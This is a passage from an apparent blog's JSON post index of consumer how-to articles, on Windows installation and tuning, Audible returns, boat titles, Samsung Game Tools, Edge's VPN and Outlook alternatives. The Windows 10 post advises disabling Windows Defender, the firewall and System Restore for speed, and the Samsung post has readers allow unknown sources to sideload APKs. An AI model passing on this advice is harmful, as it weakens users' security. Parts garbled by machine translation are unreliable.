requires at least 1.5 gigabytes (1536 MB) for its installation files, but you will want more than this for programs, documents, downloads, and other files. 5 gigabytes (5120 MB) is a good baseline amount for Windows XP, with more if you plan on installing a lot of programs. You can create multiple partitions on a single drive. This can allow you to separate your programs from your movies and music, or to install another operating system. Windows XP can only be installed on one discrete partition.   Select your new partition. Once you've created your installation partition, you will be returned to the partition selection screen. Select your new partition, usually labeled \"C: Partition 1 [Raw]\" and press ENTER.\n  Select \"Format the Partition using the NTFS File System\" and press ENTER. NTFS is the preferred method, supporting a larger amount of disk space per partition than FAT, and including security features at the file system level. NTFS also includes system level compression. There are almost no situations anymore where choosing FAT would be preferable. If your partition size is larger than 32 GB, you will not be given the option to choose FAT. It is highly recommended to avoid Quick Format, as this skips an important process that checks the hard drive for errors or bad sectors. This scan is what consumes the majority of the time taken when performing a full format. If there are errors on a disk at the physical level, it's best to catch them now rather than later.   Wait for the format to complete. The system will now format the partition. The length of time this process requires depends on the speed and size of the drive. In general, the larger the partition, the longer the process will take.\n  Wait for the Setup files to copy. Windows will now start copying files from the installation disc and prompt you to reboot the computer when the process is completed. Press ENTER when prompted to reboot, otherwise it will do so automatically after 15 seconds.\n  Allow the computer to boot normally. You will see the message asking you to press a key to boot from CD. Ignore it and allow the computer to continue booting from the hard drive. You will see the Windows logo as the Setup program loads.\n  Wait for the installation to proceed. After the Windows logo goes away, you will see a list of steps remaining on the left side of the screen, and tips for using windows on the right. The time remaining for the installation will be displayed below the list of steps remaining. It is normal for the screen to flicker, turn on and off, or resize during this process.   Choose your language and region settings. During the installation process a dialog window will appear, asking you to choose your Regional settings. Select appropriate settings native to your area. Click the Next button when that is completed. Enter your full name if you want. This will be set as the 'owner' of Windows, and will be attached to certain things, such as Document creation.   Enter your Product Key. You will not be able to complete the installation process without a valid Product Key. Click \"Next\" to continue. Some versions of Windows will not ask for the Product Key until installation is complete.   Set your computer's name. This will be the name that represents the computer on a network. Windows sets a default name, but you can change it if you would like. You can also set a password for the Administrator account. This is optional, but recommended for public computers.\n  Select your time zone. Ensure that the date/time are correct. Click \"Next\" to continue.\n  Choose your network settings. Almost all users installing Windows XP on a home or personal computer can leave \"Typical Settings\" selected for Network Setup. If you are installing Windows XP in a corporate or academic environment, check with the system administrator, though Typical Settings will most likely work. In the next window, nearly all users can select 'No, this computer is not on a network, or is on a network without a domain.' If you are in a corporate setting, ask your system administrator which you should choose. You can typically leave the workgroup name set to default.   Wait for the installation to finalize. This will only take a few minutes, and the computer will reboot when it is finished installing. Once the computer reboots, you will be taken to the Windows XP desktop. At this point, installation is complete, though there are a few things left to do before Windows is completely usable..\n Part 3of 3:\nCompletion  Set your display preferences. Once Windows loads, you will be told that Windows will automatically configure your display. Click OK to start the configuration. Your screen will flash a couple times, and then you will be asked if you can read the box that appears.\n  Set your connection preferences. If your computer is connected to the internet, select your connection type. Press Next to continue.\n  Activate your copy of Windows. If connected to the Internet, Select \"Activate Now.\" Windows will connect to the activation server and automatically authenticate your copy of Windows. If you haven't entered your Product Key yet, you will need to enter it now.[2]\n  Create Users. After the Activation Process, a window will appear allowing you to select the users for the computer. Enter your name, and the names of others who will be using the machine. Press Next to continue.\n  Start using Windows. You will now be looking at the default Windows XP Desktop. Congratulations! There are a few things that you should probably do now that you have Windows up and running: Install any drivers that you need to for your computer's hardware. Install an antivirus program if you are connected to the internet. Set your BIOS to boot from the hard drive again instead of the CD.   Kareem Winters Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmrqKmlKTEtHnXqQ%3D%3D\n","link":"/post/how-to-install-windows-xp/","section":"post","tags":null,"title":"How to Install Windows XP"},{"body":" This wikiHow will show you how to return or exchange a book on Audible if you're within 365 days of the original purchase. Returns can be processed in a web browser using a computer, phone, or tablet. Go to https://audible.com in a web...\nMethod 1of 2:\nUsing a Phone or Tablet  Go to https://audible.com in a web browser on your phone or tablet. Log in if you aren't already.\n  Tap the menu at the top-left corner. A menu will drop-down.\n  Tap My Account. This is usually the first listing in the second grouping of the menu.\n  Tap Purchase History. You'll find this near the bottom of the menu. A list of all the purchases you've made will appear.   Tap the book you want to return. You'll then be presented with a list of reasons why you're returning the book.\n  Select a reason and tap Return. When you tap this again after selecting a reason you're returning the book, you'll see a confirmation that the return was successful.[1]\n Method 2of 2:\nUsing a Computer  Go to https://audible.com in a web browser on your computer. Log in if you aren't already.\n  Hover your mouse over \"Hi, \" at the top of the page. A menu will drop-down.\n  Click Account Details. This is usually the first listing in the second grouping of the menu.\n  Click Purchase History. You'll find this on the left side of the page under the \"Yourname's account\" header.\n  Click Return next to the book you want to return. You'll then be presented with a list of reasons why you're returning the book.\n  Select a reason and click Return. When you click this again after selecting a reason you're returning the book, you'll see a confirmation that the return was successful.[2]\n  Micah Soto Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqcKzuoyoqWadqJi1orrGnmSaZZKkvKx5zqdkmq2Unq%2BtsQ%3D%3D\n","link":"/post/how-to-return-or-exchange-a-book-on-audible/","section":"post","tags":null,"title":"How to Return or Exchange a Book on Audible"},{"body":"The current Momo New Year event is only Lak Lu or known as Momo wallet Shaking. The total prize of this event will be VND 200 billion, specifically you will have millions of dining, shopping, entertainment . for free from Momo partners.\nIn addition, you also have the opportunity to win gold with 24K Gold Locals, lucky money worth up to 100 million. Free utility bills for 40 years, free 1 year to Supermarkets, Restaurants, Coffee .\nMany attractive rewards are waiting for you this momo festival. If you have not participated in this event, please follow the instructions below to shake this Momo lucky money 2020.\nInstructions to shake momo most easily won Step 1: Launch your momo application, select the Play Now button in the Shaking section in the main interface. Then click Start to play.\nStep 2: Next, press the play button to choose the shake, you can only choose one Lu at each turn. Lu will be created within 8 hours.\nStep 3: Go to the image of the mouse hugging the jar, shake your phone, if the phone vibrates, it is broken. And then the reward will be added to your wallet, press the shake again if you want to shake for the whole turn.\nHow to add momo shake Step 1: To add more shakes, go to the Find more turns section, then follow the instructions of the task to get more turns. If you get a summoned beast when you shake then drag it to the bottom and click Convert at Summon Beast.\nAfter that, select the number of summoned beasts you have to convert into a turn, remember that you can only exchange regular summoned beasts.\n  If you want to use the vouchers you have received, go to Offers\u0026gt; My Gifts\u0026gt; choose the vouchers you want to use.\nI filmed and only got 1 turn to receive the blessing from Lak Momo, and I got a discount Voucher, Beast. It can be said that this time Momo has quite a lot of rewards for users when participating in the shake momo 2020.\nSee more:\nHow to transfer money with Momo wallet Instruction to register Momo account 4 e-wallets with the least fee collection in Vietnam ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlrimecyopKhlpJrBbq3NnWSrnZSasq550Z6umqqUqA%3D%3D\n","link":"/post/how-to-shake-momo-tet-and-redeem-rewards/","section":"post","tags":null,"title":"How to shake Momo Tet and redeem rewards"},{"body":"Depending on the current status, you will have ways to deal with some measures that TipsMake gives in this article to speed up Windows 10 to achieve maximum performance when operating.\nFor Windows 10, the computer startup and shutdown was faster than previous operating systems. However, after installing Windows 10, if you are still not satisfied with the system's boot, to optimize the operation of this operating system, readers can also perform the following small tips to Win 10 speed up, make the system work better.\n1. Speed ​​up Win 10 by disabling transparent icon The transparent interface is quite beautiful, but also so that the computer has to pay more resources for it. If you love classic simplicity, you can disable this function by.\nStep 1: Right-click on the desktop and select Personalize\n  Step 2: Next, choose Color in the left column.\n  Step 3: In the right column you scroll down and find the option Transparency effects and then switch the switch to Off as shown below to turn off transparency effects on Windows 10.\n  2. Speed ​​up Windows 10 by shutting down background programs One of the reasons that Windows 10 runs sluggishly cannot help but mention background programs. For unnecessary applications, you should disable it from running in the background to save computer resources using Windows 10.\nStep 1: Right-click the Start button in the lower left corner of the screen and select Task Manager.\n  Step 2: The dialog box Task Manager appears, you switch to the Startup tab and find the program to be disabled in the background.\n  3. Set the modes for best performance This option dates back to the time of Win XP, and is still applicable today on Win 10. With this option you can turn off effects, ghosting, and image previews system-wide.\nStep 1: Right-click This PC on the desktop and select Properties.\n  Step 2: Next, click the Advanced system settings button and move to the Advanced tab.\n  Step 3: Select the Settings button in the Performance section.\n  Step 4: Then click the Adjust for the best performance button to get the best performance.\n  4. Uninstall unused applications to Speed ​​up Win 10 Though you seldom open unused applications or software. However, these programs more or less still use your computer's resources. To remove unused applications, follow the steps below.\nStep 1: Right-click on the Windows icon in the lower left corner of the screen, then select Apps and Features\n  Step 2: Next, search for an application to uninstall and select Uninstall.\n  5. Defragmenting your hard drive is also a way to speed up Windows 10 For those of you who are using the hard drive, you can use the built-in defragmentation function on Win 10. Accordingly, your hard drive will slow down if fragmented, this is how to reform. Windows 10 performance improvement is quite effective.\nStep 1: Double-click This PC or open File Explorer, then right-click any hard drive partition on your computer and select Properties.\n  Step 2: Click on the Tools tab then choose Optimize in Optimize and Defragment Drive.\n  Step 3: The Optimize Drives dialog box appears, select the partition to optimize the drive and click Analyze.\n  Note: If you want to pre-analyze the drive in turn in each different partition to find the disk fragmented files before optimization. If the results show less than 10% fragmentation, then you may not need to optimize the drive.\nIf the files stored on your Windows computer's hard drive are more scattered all over the drive, defragmentation is necessary, and then click Optimize to start defragmenting the fragmented files. Note how long defragmentation takes depends on the number of files and the size of the drive. Defragmentation can take a while to complete.\n6. Speed ​​up Win 10 by disabling System Restore To turn off System Restore on Windows 10, right-click This PC\u0026gt; Select Properties\u0026gt; Select Advanced system settings\u0026gt; select the tab System Protection, in default mode, this mode is enabled with Protection = On\n  Click the Configure button, the next window appears, select Disable system protection, Finally click OK to turn off the System Restore function.\n  Check the result:\nOn the System Protection tab, if the Protection property on drive C is System Protection = Off \u0026gt;\u0026gt;, you have successfully turned off System Restore.\n7. Turn off OneDrive and other applications that start at the same system startup. To turn off OneDrive while Windows starts, open Task Manager, select the Startup tab\nRight-click on OneDrive and select Disable \u0026gt;\u0026gt; So you have turned off OneDrive starting with the system.\n  With other software, you disable (Disable) similar to OneDrive, leaving only some necessary software for the system.\n8. Speed ​​up Win 10 by disabling Windows Defender Refer to how to disable Windows Defender in the detailed article \"How to disable Windows Defender\"\u0026nbsp;\n9. Speed ​​up Win 10 by disabling Firewall If your computer has important data, you should not turn off the firewall to prevent others from \"interfering\". However, if you want to disable the firewall on Windows 10 please read the detailed article \"How to disable the firewall on Windows 10\"\n10. Reduce computer boot time To reduce computer boot time, speed up Windows 10, do the following:\nStep 1: Right-click This PC, select Properties, then continue to select Advanced system settings.\n  Step 2: On the Advanced tab, click Settings . in the Startup and Recovery section.\n  Step 3: Here, you can reduce the time to display list of operating systems to 10 seconds or you can uncheck this section to skip the display. Then click OK to save the settings.\n  11. Turn off Windows 10's instructions Step 1: Press the Windows + I key combination to open Windows Settings, where you select the System item to set up the notification and guidance system.\n  Step 2: Select the Notifications \u0026amp; actions section, then in the right pane you scroll down and deactivate the tab of Show me tips about Windows or Get tips, tricks, and suggestions as you use Windows.\n  12. Upgrade, replace the HDD with an SSD. The SSD hard drive has extremely fast data processing speed, deserving to replace the hard drive on your computer. Currently, the price of the SSD drive is not too expensive as before, so if the machine is slow, replace the HDD with an SSD hard drive to bring high efficiency in the working process.\nSo TipsMake just introduced to you ways to speed up Windows 10, improve Windows 10 performance, process in Windows 10. In essence, the above methods can also be used to speed up your computer on Win 7 and Win. 8. The ways to speed up Windows 10 above are we made the experience on Windows 10 laptop and desktop computers with quite good results. Good luck.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqugmrKledSpZLChnpm8uL%2BMamdmnp%2Bneq6t16KkrqVdpbKzss6rpJqmk5p6uLTEp2SirF2svLO30g%3D%3D\n","link":"/post/how-to-speed-up-windows-10-for-maximum-performance-when-it-works/","section":"post","tags":null,"title":"How to speed up Windows 10 for maximum performance when it works"},{"body":" If you want to operate a boat in American waters, it must be titled and registered in the state where you live. Part of the process of buying a boat from another individual is getting the boat title transferred from the seller's name into...\nMethod 1of 2:\nSelling a Boat  Gather required proof of ownership. In general, you'll need your copy of the title for the boat and the title for the outboard motor. In some states, these may be two separate title documents.[2] If you had the boat financed and there is a lien on the title, you'll also need documentation for release of that lien from the finance company.   Complete a bill of sale. An official bill of sale provides a record of the sale and the amount for which you sold the boat. Some states require the buyer to present a written bill of sale when they apply to transfer the title.[3] Even if your state does not require a bill of sale, it's still good practice to have a written document recording the transaction, in case questions or problems arise later. Take the bill of sale to a notary public so your signature and the buyer's signature on the bill of sale can be notarized. If the transaction is later disputed, the document will more likely hold up in court. Have 2 copies notarized so both you and the buyer have an original.   Fill in the transfer section of the title. On the back of the boat title, there will be a section to record the transfer of the boat to another person. Write the buyer's name, address, and any other information required. Check with the buyer to make sure the information you have is correct. Write legibly in blue or black ink.   Sign the title in the presence of a notary. To complete the transfer of the title to the buyer, you must sign the back of the title below the transfer section. Some states require your signature to be notarized. If there is a space for a notary seal on the back of the title, that's an indication that the signature must be notarized. If you're unsure, you can call your state's boat licensing office to find out. Getting the title notarized at the same time you have the bill of sale notarized can save you some time and money.   Give the title to the buyer. Once you've completed the transfer section on the back of the title and signed it, it's the buyer's responsibility to take it to the title office in your state and apply for a new title. You may want to make a photocopy of the title before you hand it over, so you have it for your records. This might come in handy if, for example, the buyer misplaces the title before they get a chance to go to the title office.   Accompany the buyer to the title office. Until the buyer applies for a new title, the boat is still in your name. If you go to the title office with the buyer, you can make sure the buyer gets their new title promptly.[4] If there are any questions or problems with your title, you also have the opportunity to clear those problems up immediately if you're there in person.  Method 2of 2:\nPurchasing a Boat  Have the seller sign the title. Before you can have the title to your newly purchased boat transferred into your name, the seller must fill out the transfer section on the back of the title and sign it. Some states require titles to be signed in the presence of a notary. If there is space for a notary seal on the back of the title, don't let the seller sign it until they're in front of a notary. Otherwise the signature will be invalid.   Request documentation from authorized representatives. Some sellers may have an authorized representative, such as an attorney or dealer, complete the title transfer for them.[5] An authorized representative should have a contract, power of attorney, or other document that makes it clear they are the legal, authorized representative of the title owner of the boat. If the representative cannot produce documentation, don't go through with the sale – it might not be legitimate. Contact the title owner of the boat if possible.   Have the seller accompany you to the title office. Having the seller with you can help you avoid a nasty surprise if you find out there is some sort of problem with the title or the record of ownership for the boat.[6] With the seller by your side, most problems can be cleared up immediately. For example, the title may have a lien on it. The seller could produce a release of lien document to prove that they owned the boat free and clear when they sold it.   Complete an application for a title. Each state has a title application form that you must fill out with your name, address, and other information regarding the boat you've just purchased. The information you provide will be used to issue your new title.[7] Some states also require you to present a written bill of sale for the boat. If you're buying the boat from an individual, you may want to call your state's boat titling office in advance and find out what documents you'll need. Make sure all information about the boat is exactly the same as the information on the original title. This ensures a clean transfer of title.   Pay any required taxes and fees. When you submit your title application to the title office, you'll typically be assessed taxes and fees on your purchase. These taxes vary widely among states. It's a good idea to call ahead and find out how much you'll have to pay, as well as what methods of payment are accepted.[8] Some states don't assess taxes on casual boat sales (sales between two private individuals). However, you'll still have to pay a fee to have the new title issued, typically around $15 or $20.   Receive your new title. In some states, you'll get your title immediately after you submit your application and pay the fees. However, many states will give you a temporary document and send your official title in the mail. If you have to wait for your official title, find out if you can still register your boat with the temporary document. You won't be able to take the boat out on the water until it's registered.   David Pac Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0ssSrZJplkqSutXnToqulnQ%3D%3D\n","link":"/post/how-to-transfer-a-boat-title/","section":"post","tags":null,"title":"How to Transfer a Boat Title"},{"body":"On Samsung phones equipped with Game Tools feature, users can freely relax, enjoy games without being disturbed by Messenger messages or unusual calls distracting you. Even when activating the Game Tools feature, you can record the process of playing the game or return the key so that it will not be mistakenly affecting the game. If you are interested, the following is a tutorial to activate and use Game Tools mode on Samsung Android.\nNote: Not all Samsung devices currently support Game Tools, which is exclusive on some Samsung phones. Therefore, if your Samsung phone does not have the Game Tool, do not worry, in the framework of this article, Network Administrator will guide you how to activate and use this feature on all Samsung Android.\n1. How to activate Game Tools mode on Samsung Method 1: Apply to devices that have built-in Game Tools mode\nTo enable Game Tools mode on Samsung phones, do the following:\nStep 1:\nFrom your Samsung phone screen, go to Settings and select Advanced features.\n  Step 2:\nNext, click Game.\n  Step 3:\nTurn right to turn on Game Tools mode on Samsung.\n  Method 2: Apply to devices that have not yet built Game Tools mode\nNote: The device experienced in this article is Galaxy A9 Pro running Android 6.0 Marshmallow, maybe some other models are not compatible, please try installing on your device.\nStep 1:\nGo to Settings\u0026gt; Lock screen and security\u0026gt; Enable item Unidentified.\n  Step 2:\nDownload the following 3 files and install the device.\nGame Mode: http://www.apkmirror.com/apk/samsung-electronics-co-ltd/samsung-gameservice/samsung-gameservice-1-0-64-release/samsung-gameservice-1-0-64-android -apk-download / Game Tools: http://www.apkmirror.com/apk/samsung-electronics-co-ltd/game-tools/game-tools-0-0-26-release/game-tools-0-0-26-android -apk-download / Game Launcher: http://www.apkmirror.com/apk/samsung-electronics-co-ltd/game-launcher-2/game-launcher-2-0-0-26-release/game-launcher-0-0 -26-android-apk-download / Step 3:\nGo back to Settings\u0026gt; Advanced Features\u0026gt; Games\u0026gt; Turn on Game Tools mode .\n  2. Instructions for using features in Game Tools Opening any game, the Game Tools icon will automatically appear (red icon) and you should select this floating icon to enter Game Tools settings.\n  No in-game notifications:\nWhen this feature is turned on, all phone notifications will be muted and hidden on the screen when you are playing the game, only the incoming call will be displayed.\n  Lock Recent and Return keys:\nSimilar to the above, 2 return and recent keys will be locked during the game, helping you to limit the wrong press while playing as a sudden exit.\nRecording Function:\nYou can also go back to the entire screen when playing games to share with everyone without a 3rd party app with Game Tools recording function. If you want to stop recording, just slide the notification bar from top to bottom and choose to stop recording.\n  Screenshots:\nTake a quick snapshot of the game screen, especially the achievements you won in the game.\n  Touch screen lock:\nThis function allows you to play games with peripheral devices such as keyboard mouse via OTG connection so no touch on the screen is required. It is especially useful when you play with Game Pad to dedicate the entire game screen.\n  Minimize the game :\nZoom out Messenger-like chat head game format of Messenger to help you manage better when playing multiple games.\nThus, we have shown you how to activate and use Game Tools on Samsung. This way will help optimize your experience during the game. Please customize the game play function to suit you best to play games more fun than you.\nSee more:\nInstructions for activating Game Mode on Windows 10 How to enable Night Mode on Samsung Galaxy S8 How to enable Dark Mode on Youtube Activate Safe mode on Android device ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaZk6m2t63ToqWgZZGjsW7B0qKloGWXlrqmedOopqWrXaK8pbGMqKVmq5GiwLa6xg%3D%3D\n","link":"/post/instructions-for-activating-and-using-game-tools-mode-on-samsung/","section":"post","tags":null,"title":"Instructions for activating and using Game Tools mode on Samsung"},{"body":"This morning, May 28, the world's largest processor chip Intel officially revealed information about the latest generation i9-9900KS processor, which received a lot of attention from the community in last time. Accordingly, the i9-9900KS will be a relatively special chip, similar to the previous Core i9-9900K, which can boost turbo-boost up to 5GHz, while the basic speed still will be 4Ghz, a little more than the 3.6Ghz level that you will own on i9-9900K. Thus, saying i9-9900KS is a special version of i9-9900K is not necessarily wrong.\n  Intel, Qualcomm and Broadcom both cut chip supply contracts for Huawei Intel Core i9-9900KS is probably the gift that Intel wants to give to gamers. This is because the CPU has all 8 core Turbo clock speeds of up to 5.0 GHz, making it the top choice for \"heavy\" gaming PCs.\nIn addition, Intel said it worked closely with game developers to harness the power of Intel microprocessors as well as ensure compatibility and stability over the long term.\nIt can be seen that with the launch of the i9-9900KS 'strategic card', Intel officially broke the first shot, restarting the battle in the field of global microprocessors in the second half of 2019. In a related move, yesterday 27/5, AMD also released the 3rd generation Ryzen line processor with up to 12 cores. With this new Ryzen CPU line, AMD could completely become the stumbling block, even challenging Intel's king in the chip market for the last 6 months of this year. Of course everything confirmed at the present time is still a guess. It is too early to say who the winner is, at least until the new chips are officially on the shelves and undergo rigorous practical usability comparisons.\n  AMD launches Ryzen 9: 12-core CPU, PCIe 4.0, for $ 499 The battle between Intel and AMD is heating up every hour, but regardless of who the winner is, the most beneficiary will still be consumers. We now have more choices in terms of processors, while selling prices promise to be more reasonable. Will 12 cores on an AMD Ryzen chip be able to provide maximum support for users, or just for \"terrible\" tasks such as electronic money mining and some other hardware-intensive tasks? Is the i9-9900KS really accepted by the gaming community? All will only be determined through actual tests.\n  Nvidia and AMD are shipping fewer GPUs, retailers are still full of stock More detailed information about the performance of the new generation processors will be announced by Intel in a presentation at the 2019 Computex event that will take place this afternoon (May 28). We will send you the latest information, please pay attention to follow up!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKVkq52mmq6tscNmoKeen6e6osDIqKVmmZKkwrV5l5ymq51dnoZ6hY9poqxlk6XC\n","link":"/post/intel-revealed-information-about-8-core-i9-9900ks-cpu/","section":"post","tags":null,"title":"Intel revealed information about 8-core i9-9900KS CPU"},{"body":"To make things simpler for users, Microsoft has just announced that it will integrate the VPN directly into its Chromium-powered Edge browser. With the built-in VPN tool directly, the value of Microsoft Edge browser to users will increase significantly.\nThe Microsoft Edge VPN feature will be named \"Microsoft Secure Edge Network\" and it will be powered by Cloudflare. Most likely, this feature will work similarly to Cloudflare's 1.1.1.1 service.\n  The advantage of Cloudflare virtual private network is that it enhances online security, your data is protected from the scrutiny of internet service providers (ISPs) and hides your location.\n\"When using Microsoft Edge Secure Network, your data is routed from Edge through an encrypted route to create a secure connection even if you use an unsecured URL that starts with HTTP. This exposes hackers to hackers. having trouble accessing your browsing data when you use public WiFi networks.\nBy encrypting your web traffic directly from Microsoft Edge, we help prevent your internet service provider from collecting your browsing data such as details about what websites you visit. Microsoft Edge Secure Network also lets you browse the web with a virtual IP address, masking your real IP and replacing your geolocation with a similar regional address to make it harder for online trackers to track you down. when you browse the web,\" Microsoft shared.\nCurrently, the new Microsoft Edge built-in VPN service is in beta on the Dev channel. To use this feature, you need to sign in to your Microsoft account. Although it is free, this VPN service only offers a limit of 1GB per month. The data limit is tied to a Microsoft account and is refreshed by Cloudflare at the end of each month. Personally identifiable data is deleted every 25 hours.\nUntil now, we still do not know when Microsoft officially deploys VPN integration into Microsoft Edge. According to Microsoft's support page, it looks like this feature will be rolling out soon.\nHopefully Google will follow Microsoft and integrate VPN into Chrome browser. It will not be difficult for Google to do this because Chrome and Edge are both developed on the Chromium kernel.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYra0ecCbpq6sXam8brXNrZygqpGpsm7Cz6dkoqakpHqmsMaeZJuqn6zApr4%3D\n","link":"/post/microsoft-is-about-to-integrate-vpn-into-edge-browser/","section":"post","tags":null,"title":"Microsoft is about to integrate VPN into Edge browser"},{"body":"Within the scope of Email application, Microsoft Outlook is one of the most commonly used services today.This application is widely used both at home and in the office because it is integrated inside Microsoft Office, Microsoft Windows and Microsoft Exchange office software. However, the most popular does not mean that it is the best software. There are still some email services for customers with similar functions, even better than Microsoft Outlook. The following article will cover services that are thought to be the top applications in email clients.\nTop 5 best free Email Clients applications for Desktop 1. Mozilla Thunderbird First of all, a popular application is Mozilla Thunderbird - an open source email client service released by Mozilla. This utility instantly captures the user's sympathy because of its speed and flexibility. You can fully extend its usability through plugins and add-ons like Firefox. This is also the reason why people who have used Firefox will find it easy to work with Thunderbird.\n  Thunderbird supports all the most widely used protocols including POP, IMAP and SMTP. Another advantage of Thunderbird is that it is available in all operating system platforms, while Microsoft Outlook is only available in Windows (and now also in Mac OS X).\nIn addition, Thunderbird is superior to Microsoft Outlook when using IMAP. While Microsoft has done this in Microsoft Outlook 2010, it often crashes and does not respond whenever connecting an account via IMAP. Meanwhile Thunderbird works very fast when using IMAP. If you want to use IMAP to access your email, Thunderbird is the best choice with lots of other features and extensions.\nThunderbird has several features that make it a suitable alternative as an alternative to Microsoft Outlook:\nEmails are tagged to manage multiple conversations. Address book is extremely easy to use and manage. Smart folders and filters make it easy to organize. Advanced search feature to find the exact email you need. PGP encryption to keep your email safe and private. Built-in Lightning extension provides calendar function. Download : Mozilla Thunderbird\n2. Zimbra Desktop Zimbra Desktop is an email service that is used a lot in offices. This is a collaboration between open source software suites to compete with Microsoft Exchange, which works similarly to Microsoft Outlook. Zimbra Desktop's most powerful feature is very easy to use for everyone and has an elegant interface. When used with IMAP, Zimbra Desktop really shows its superior speed, so far no service can match.\n  Zimbra Desktop can automatically configure for Yahoo mail, Gmail, Hotmail and AOL services. It also includes offline working, automatically cacheing all your local emails. So you can access your email even when offline. This feature works with IMAP protocol, so Zimbra Desktop is really the champion in IMAP race.\nA very popular and used feature in Zimbra Desktop is the ability to view conversations. You can view all emails in a single email just like in Yahoo or Hotmail, or you can combine multiple emails in one conversation to easily track and review previous conversations. By default this feature is available in Gmail.\nThe latest version of Zimbra Desktop also incorporates social elements with email by providing access to all social accounts in one place. Services support platforms such as Twitter, Facebook, Digg .\nDownload : Zimbra Desktop\n3. IncrediMail IncrediMail is an interesting option of Microsoft Outlook. It gives users a colorful experience in sending and checking email. This small utility supports all standards including POP, IMAP and SMTP. In addition, it also provides many colors and backgrounds when composing emails. Email notifications are given by a very funny cartoon character every time you have new mail. All of which will make your email use more attractive and new. In addition, IncrediMail has a feature called PhotoMail Maker that allows you to add personal photos as wallpapers for email.\n  One disadvantage of IncrediMail is that you have to change the search engine on the browser home page and instead the IncrediMail provider tool. If you are using IE 9, it will warn you that some software wants to change the search provider. Just click ' Don't Change ' if you don't want to.\nDownload : IncrediMail\n4. Opera Mail If you are using Opera as your default browser, Opera Mail will be the best alternative to any email client. This utility is integrated inside Opera's browser. You can configure Opera Mail very easily and without having to open a separate email application. Your email will be sent to and displayed right in Opera browser.\n  Opera also has a feature that allows users to access email offline, so you can browse your emails when there is no internet connection. Because of very little bandwidth usage, this is the best solution for slow connections or travel. Opera Mail only loads the necessary information, so it does not cause general traffic. Opera Mail is integrated with a smart spam filter, which will block all spam messages in the background and not bother you.\nEspecially the organization of Opera Mail is very impressive. You can sort your mail the way you want. You'll get unread messages in Opera Mail easier than ever. While Gmail introduced labels instead of folders, Opera Mail went a step further with the auto-search feature. Now labels can learn how you interact with them.\nDownload : Opera Mail\n5. eM Client eM Client is another great email solution that can compete with Microsoft Outlook. The new version of eM Client is specially designed for Windows Vista and Windows 7. This application is provided free for home users and for business users need to pay a fee for this service. It supports all the most popular free email services like Hotmail, Yahoo and Gmail. Furthermore, eM Client has the ability to import settings and emails from other email clients such as Microsoft Outlook and Mozilla Thunderbird.\n  The search feature in eM Client is very powerful, you can find anything in the inbox immediately. Other features are also standard by default in Outlook such as tagging for posts, signatures and templates, email rules. It even includes a translation service directly inside the inbox, making it easier to read mail if they are written from different languages. Besides email, eM Client also supports other features like Calendaring, Instant messaging, Contacts organization .\nDownload : eM Client\n6. Windows Mail   If you want to use a simple but beautiful interface with background images, you should try the original Mail application in Windows 10. It doesn't have great functions like integrating Office, creating inbox rules or options to cancel sign up for email categories, but if you don't use these features, you can try the Windows Mail application.\nThe plus for this mail application is fast, instant syncing with calendar and other services (with reminders and calendar notifications that appear in the Windows notification area) and you can view your email in the box. live in the Start menu. You can even pin specific inbox in the Start menu.\n7. Mailbird   If you're a Windows user, jealous of the sleek interface and smoothness of Apple products, install this email app inspired by Apple Mail. This is the Lite version of Mailbird for free. The downside is that it can only handle three email addresses, but we don't need to use so many addresses.\nDespite the lack of advanced features of Outlook, it also has its own interesting features such as allowing you to connect to your Facebook account to sync profile and contacts photos, as well as integrate with universal work platforms. Slack variables and chat apps WhatsApp. Mailbird is a desktop email application for social media generation.\nDownload : Mailbird\n8. EssentialPIM Like Microsoft Outlook, EssentialPIM is not just an email application, it is a personal information manager. It is a one-stop shop (providing all services at one destination) to handle all your contact information and tasks in one central point, helping you streamline and reduce public job.\n  EssentialPIM has a beautiful, modern and functional design with the same suite as most other desktop email applications you have used before. The free version has all the basic features:\nUnlimited number of email accounts. Folders and filters help organize email flexibility. Export and import formats: XML, CSV, iCal, vCard, etc. Sync with Android and iOS. The upgraded version has more features:\nSync package: Google, Outlook, iCloud, etc. AES 256 bit encryption for security and privacy. Advanced backup to never lose data. Related email group topics in the conversation. Professional and customized email templates. In addition to email, EssentialPIM also has Calendar, Tasks, Notes, Contacts and Password features. With 2 USD per month or 20 USD per year, you can get EssentialPIM Cloud package store and synchronize all features not email above. It is securely encrypted, acts as a backup and allows you to access your data from anywhere with just a web browser.\nAs a final note, EssentialPIM has a portable version that can upload a USB flash drive or external hard drive and use it on any computer, suitable for students and frequent travelers.\nThe best Portable PC applications of all time (Part 1) Download : EssentialPIM\n9. Gmail Gmail is not a desktop email application. Although technically this is true, you'll be surprised to learn that Gmail can be used in ' Desktop mode ' mode with a few simple tricks. In fact, when you use it in this mode, you will feel that Gmail is better than most other desktop-based solutions (except for complex business environments).\n  The truth is, Gmail can be set up to replicate the many features and functions of desktop apps. For example:\nCreate a shortcut on the screen and run in its own window. Automatically link and open email links. Convert between multiple email accounts. Access and read emails even when offline. Sort emails using labels and filters. Navigate by shortcut. If you want to use Gmail as a desktop application, you can refer to the simple 7-step article that turns Gmail into an application on the desktop. The process is very simple, only takes a few minutes.\nAnd as a Google user, Gmail makes it easy to integrate with other productivity web applications from Google, including Google Calendar, Google Keep, and Google Docs.\nSee more:\nGood and handy email applications on iOS 10 free Email programs for Windows 2018 8 best secure email services ensure your privacy ncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdpL21tc6nqmaqlaW5oq%2FEZqSim6KkwLCy02amrqycpLys\n","link":"/post/the-best-options-replace-microsoft-outlook/","section":"post","tags":null,"title":"The best options replace Microsoft Outlook"},{"body":"How to format USB in Windows Whether you're running Windows XP, Windows 7, Windows 8.1, or Windows 10, the steps are essentially the same.\nStep 1. Plug in the USB.\nStep 2. Open Windows File Explorer and go to This PC (also known as Computer or My Computer ).\nStep 3. Right-click the drive and select Format .\n  The format options you can customize are File system, Allocation unit size, Volume label and Format options . You can also choose Restore device defaults in case the custom settings don't work.\n  To format the drive, just make your choice, click Start , followed by OK to confirm that you really want to erase all of the data and the drive will 